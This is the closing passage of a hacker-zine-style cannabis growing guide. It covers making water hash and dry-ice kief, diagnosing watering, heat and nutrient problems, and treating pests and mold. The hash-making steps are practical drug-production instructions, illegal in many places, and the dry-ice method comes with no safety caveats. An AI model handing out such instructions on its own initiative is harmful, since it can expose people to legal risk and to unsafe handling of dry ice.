Place each bag, smallest first, into a bucket, and fill the bucket with
|
||
|
ice-water. Add the trim, and mix for 15-20 minutes with a kitchen or paint
|
||
|
mixer. Let the mixture settle for about half an hour, then remove each bag
|
||
|
one at a time. The first will remove the trim, and others after will have
|
||
|
hash and/or contaminants, depending on how many bags you use. If the set
|
||
|
comes with a screen, use the screen to press the water out of each mass of
|
||
|
hash. Scrape the hash off and set aside to dry.
|
||
|
|
||
|
Even easier than water hash is what I like to call white-trash hash. What
|
||
|
comes out is really kief, but you can press the kief into hash if you want.
|
||
|
Procure a large container, like a storage bin for a shelf. One with fairly
|
||
|
high walls is good so it captures as much of the mess as possible. Take
|
||
|
your 73-micron bag, and put your trim inside. Fill the rest of the bag with
|
||
|
broken-up dry ice. Tie the bag off (hold it closed), and shake into the
|
||
|
container until all the glorious beauty falls out. You may want to split
|
||
|
into multiple sessions, the first being more pure and second-grade after
|
||
|
that, but I usually just shake until it looks like it's all out. What you
|
||
|
end up with in the bag is a green, sloppy mush that you can go ahead and
|
||
|
discard. The bin, however, is now full of wonderful kief. Smoke it now, or
|
||
|
save it for later. Press a chunk into hash between your palms, or put some
|
||
|
in a baggie in your shoe and walk on it until it turns into hash.
|
||
|
|
||
|
|
||
|
0x0D: Signs and Symptoms
|
||
|
|
||
|
I've saved the worst for last. Here are different signs and symptoms of
|
||
|
various problems you may encounter.
|
||
|
|
||
|
Perfect: The sign of perfection is perky plants, solid to deep-green
|
||
|
colored (but not too dark). Leaves point upward at a 40-60 degree angle and
|
||
|
toward the light. Daily growth is visible. Pistils are perky but not
|
||
|
crooked at the ends.
|
||
|
|
||
|
Over-watering: leaves will curl downward, with the middle section being the
|
||
|
highest, kind of like it's trying to be an umbrella. Wait as long as
|
||
|
possible before watering again, and make sure to provide at least a mild
|
||
|
nutrient solution especially if straight water was used at the previous
|
||
|
watering.
|
||
|
|
||
|
Under-watering: Can be similar to heat stress when it occurs frequently,
|
||
|
but otherwise the leaves will lose perkiness and wilt, lying beside the
|
||
|
stem and pointing downward. Pistils first show signs with crooked ends, and
|
||
|
soon after they shrivel and change color. Make sure to fully soak the
|
||
|
container after this occurs, the best way being a slow flow of water rather
|
||
|
than gushing out of a watering can.
|
||
|
|
||
|
Heat-stress: Leaves fold up and inward, especially at the edges. Fix by
|
||
|
moving the light further away or reducing the temperature. Supplement with
|
||
|
extra air flow and a small extra watering (straight water is usually best
|
||
|
for this to prevent nutrient burn when coupled with heat stress).
|
||
|
|
||
|
Nitrogen deficiency: Leaves yellow to light-green. Treat by increasing
|
||
|
concentration of veg mix.
|
||
|
|
||
|
Nitrogen toxicity: Leaves very dark green, later start burning. Treat by
|
||
|
reducing the concentration of veg mix.
|
||
|
|
||
|
Phosphorus toxicity: Leaves dark green (purple tint sometimes) and wilt,
|
||
|
curling downward. Treat by reducing the concentration of flowering mix.
|
||
|
|
||
|
Various toxicities, deficiencies, pH burn: Chlorosis (dying plant matter)
|
||
|
on various parts of leaves. Different styles signifiy different problems,
|
||
|
but overall consider what changes have been made recently. Check pH of
|
||
|
nutrient solution. Fix by flushing medium with a mild nutrient solution at
|
||
|
proper pH. Avoid using supplements, just use a basic nutrient mix for the
|
||
|
current phase. Treat a suspected deficiency with only a slight increase in
|
||
|
what you think is needed. More often than not micronutrient dificiencies
|
||
|
are only present when using synthetic nutrients and only when not using any
|
||
|
other supplements. Mild deficiencies are not likely to show visible
|
||
|
symptoms.
|
||
|
|
||
|
Bugs! Many different bugs will want to eat your plants. Some of the most
|
||
|
annoying are aphids and spider mites. Insecticidal soap works well with
|
||
|
aphids, and neem oil works extremely well with spider mites. For aphids,
|
||
|
spray on site. Most soaps take care of them well. Also consider removing
|
||
|
infected plant matter. For mites, spray thoroughly and afterward remove
|
||
|
leaves with noticeable spots since these 90%+ of the time have eggs. Neem
|
||
|
will kill the mites but not the eggs. Spray again 2-3 days later and again
|
||
|
a week after the first. Afterward, inspect daily and spray as needed.
|
||
|
Grasshoppers eat the leaves. Sorry Mr. Grasshopper, but you gotta die. Pick
|
||
|
them off and get rid of them however you choose. Caterpillars eat
|
||
|
everything, especially the buds. Inspect dying bud matter for caterpillars,
|
||
|
and remove those found. Spray with a Bt solution -- it's a bacteria that
|
||
|
when eaten causes the caterpillars to stop eating. These methods are all
|
||
|
organic (or available as organic). Use synthetic pesticides only in severe
|
||
|
cases, and only before buds begin forming. Both the insecticidal soap and
|
||
|
neem oil can be washed and rinsed off with regular soap at harvest if
|
||
|
necessary.
|
||
|
|
||
|
Mold! Mold sucks. Bud mold is highly infective and destructive. Bud mold
|
||
|
is characterized by grey/black along the stem and spreads quickly. Remove
|
||
|
entire affected plants immediately. Place in quarantine until sure of the
|
||
|
diagnosis, then destroy any infected plants. Powdery mildew is annoying
|
||
|
but treatable. It is easy to spot -- visible white spots with a powdery
|
||
|
look on top of leaves. Treat by spraying with a baking soda solution and
|
||
|
increasing air flow. Decrease humidity for up to a week after symptoms
|
||
|
disappear if possible.
|
||
|
|
||
|
|
||
|
0xFF - Fin
|
||
|
|
||
|
That concludes this guide. I hope you've enjoyed reading it, and I hope
|
||
|
you're now ready to grow some super ultra dank megabuds.
|
||
|
|
||
|
|
||
|
|=[ EOF ]=---------------------------------------------------------------=|
|